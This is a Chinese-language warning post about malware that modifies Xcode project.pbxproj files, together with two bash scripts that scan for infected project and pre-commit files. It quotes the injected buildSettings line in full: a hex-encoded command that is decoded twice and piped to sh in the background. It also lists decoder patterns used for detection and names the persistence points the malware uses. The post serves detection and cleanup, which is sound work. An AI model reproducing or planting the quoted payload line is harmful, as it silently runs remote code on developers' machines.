project.pbxproj被修改了
buildSettings 里面出现了如下字符
A6E983A = "((c(){ xxd -p -r | xxd -p -r; };echo 3635363336383666323032323234323836333735373236633230326436363733366234633230326436343230323237303310a | c | sh ) >/dev/null 2>&1 &)";
也有可能是下面的部分字符
"xxd -p -r"
"base64 -D.*base64 -D"
"base64 --decode"
">/dev/null"
"/tmp/"
这样的 就需要 时刻警醒自己,你可能电脑受到了攻击
他会攻击你的点
~/.zshrc
开机启动项
所有项目的
.git/hooks/pre-commit
谷歌浏览器(打开一次就会执行一些代码,没找到具体的地方)
所有项目 project.pbxproj 被修改了
容易中招的电脑含有的软件
SourceTree
iTerm2
Google浏览器
如果你电脑这三个都有,那你要十分小心了。
恶意代码扫描脚本
#!/bin/bash
# ============================================
# 恶意代码扫描脚本
# ============================================
echo "🔍 开始扫描所有 Xcode 项目..."
# 恶意代码特征
MALICIOUS_PATTERNS=(
"xxd -p -r"
"base64 -D.*base64 -D"
"base64 --decode"
">/dev/null"
"/tmp/"
"A45ED5A"
)
# 扫描结果
INFECTED_FILES=()
# 查找所有 project.pbxproj 文件
echo "📂 搜索项目文件..."
PROJECT_FILES=$(find ~/ -name "project.pbxproj" 2>/dev/null)
TOTAL=$(echo "$PROJECT_FILES" | wc -l)
CURRENT=0
echo "📊 找到 $TOTAL 个项目文件,开始扫描..."
for file in $PROJECT_FILES; do
CURRENT=$((CURRENT + 1))
echo -ne "进度: $CURRENT/$TOTAL - 检查: $(basename $(dirname $file))...\r"
# 检查每个恶意特征
for pattern in "${MALICIOUS_PATTERNS[@]}"; do
if grep -q "$pattern" "$file" 2>/dev/null; then
echo ""
echo "❌ 发现感染: $file"
echo " 特征: $pattern"
INFECTED_FILES+=("$file")
break
fi
done
done
echo ""
echo ""
echo "============================================"
echo "📊 扫描完成"
echo "============================================"
if [ ${#INFECTED_FILES[@]} -eq 0 ]; then
echo "✅ 所有项目文件干净!"
else
echo "🚨 发现 ${#INFECTED_FILES[@]} 个被感染的文件:"
echo ""
for file in "${INFECTED_FILES[@]}"; do
echo "open $file"
# open $file
done
echo ""
echo "⚠️ 建议操作:"
echo " 1. 备份这些项目"
echo " 2. 从 Git 恢复干净版本"
echo " 3. 或手动删除恶意代码"
fi
echo ""
echo "============================================"
扫描pre-commit文件
#!/bin/bash
# ============================================
# 恶意代码扫描脚本
# ============================================
echo "🔍 开始扫描所有 pre-commit ..."
# 恶意代码特征
MALICIOUS_PATTERNS=(
"xxd -p -r"
"base64 -D.*base64 -D"
"base64 --decode"
">/dev/null"
"/tmp/"
"A45ED5A"
)
# 扫描结果
INFECTED_FILES=()
# 查找所有 project.pbxproj 文件
echo "📂 搜索pre-commit文件..."
PROJECT_FILES=$(find ~/ -name "pre-commit" 2>/dev/null)
TOTAL=$(echo "$PROJECT_FILES" | wc -l)
CURRENT=0
echo "📊 找到 $TOTAL 个项目文件,开始扫描..."
for file in $PROJECT_FILES; do
CURRENT=$((CURRENT + 1))
echo -ne "进度: $CURRENT/$TOTAL - 检查: $(basename $(dirname $file))...\r"
# 检查每个恶意特征
for pattern in "${MALICIOUS_PATTERNS[@]}"; do
if grep -q "$pattern" "$file" 2>/dev/null; then
echo ""
echo "❌ 发现感染: $file"
echo " 特征: $pattern"
INFECTED_FILES+=("$file")
break
fi
done
done
echo ""
echo ""
echo "============================================"
echo "📊 扫描完成"
echo "============================================"
if [ ${#INFECTED_FILES[@]} -eq 0 ]; then
echo "✅ 所有项目文件干净!"
else
echo "🚨 发现 ${#INFECTED_FILES[@]} 个被感染的文件:"
echo ""
for file in "${INFECTED_FILES[@]}"; do
echo "open $file"
code $file
done
echo ""
echo "⚠️ 建议操作:"
echo " 1. 备份这些项目"
echo " 2. 从 Git 恢复干净版本"
echo " 3. 或手动删除恶意代码"
fi
echo ""
echo "============================================"